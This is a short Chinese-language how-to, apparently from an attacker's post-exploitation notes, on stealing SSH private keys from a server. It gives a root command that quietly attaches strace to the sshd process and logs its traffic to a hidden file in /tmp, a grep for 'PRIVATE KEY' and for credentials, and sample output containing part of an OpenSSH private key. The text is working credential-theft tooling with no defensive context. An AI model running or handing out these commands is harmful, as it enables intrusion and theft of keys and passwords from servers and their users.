### 获取sshd进程私钥
1.root权限执行
“`bash
# 使用括号执行程序,当前shell退出,执行的程序不会退出
(strace -f -F -p `ps aux|grep “sshd -D”|grep -v grep|awk {‘print $2’}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
“`
2.查找私钥直接搜索字符串`PRIVATE KEY`
“`bash
# 如果私钥设置的了密码,似乎不能抓到私钥密码
# 查找用户名和密码
grep ‘PRIVATE KEY’ /tmp/.sshd.log
# 结果形式如下
[pid 1009] 23:17:34 read(4, “—–BEGIN OPENSSH PRIVATE KEY—–\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAtVes3uixVI/KAJtERp4WHTfWt107sCQuyufQ/2oYTzxYpAQKhsDY\nAFphRPKSudtdwtN65P9JTYXQpQiQg8m0B+rbSEe6Gl9Sv2fkfRJ+YRMtVx7sPJfJoY+X4q\n83w9igJ1NwRAfS+9zkA+99An8OlxRo76UJYkFBKDa7LY0a5sp4X7geOtwLqA+0n3ur8NPC\nT+QsCck+D886bxDEeGW0v1qTHsjgJVzuwq3OoA5qBWh+eOuKaeamvkMguk7JIUWSyECKo3\njjQvAw7/IrRmzluENvU/sriFICjk64GYa8CVkjiKfcmqZYerhXL5A1Doo1fxdYFCJi3Cwa\nCg6EIq8AF8lXm0Bhu2MD0iA7qtfgv8rqz/Qvk58WZA4daQYQSm9PIZnKp2Kup5zKi7g8J6\nDjGCc9KgVtBl2plODRPukuOK/m2xs7hqgD0OxQM+RU3yJiyg9HmsCDRnKUH7oNnqYfSBqa\niW7cfYcGsHD989ym0itOsme51tbYQbDsrZiPedexAAAFgB+gMcMfoDHDAAAAB3NzaC1yc2\nEAAAGBALVXrN7osVSPygCbREaeFh031rddO7AkLsrn0P9qGE88WKQECobA2ABaYUTykrnb\nXcLTeuT/SU2F0KUIkIPJtAfq20hHuhpfUr9n5H0SfmETLVce7DyXyaGPl+KvN8PYoCdTcE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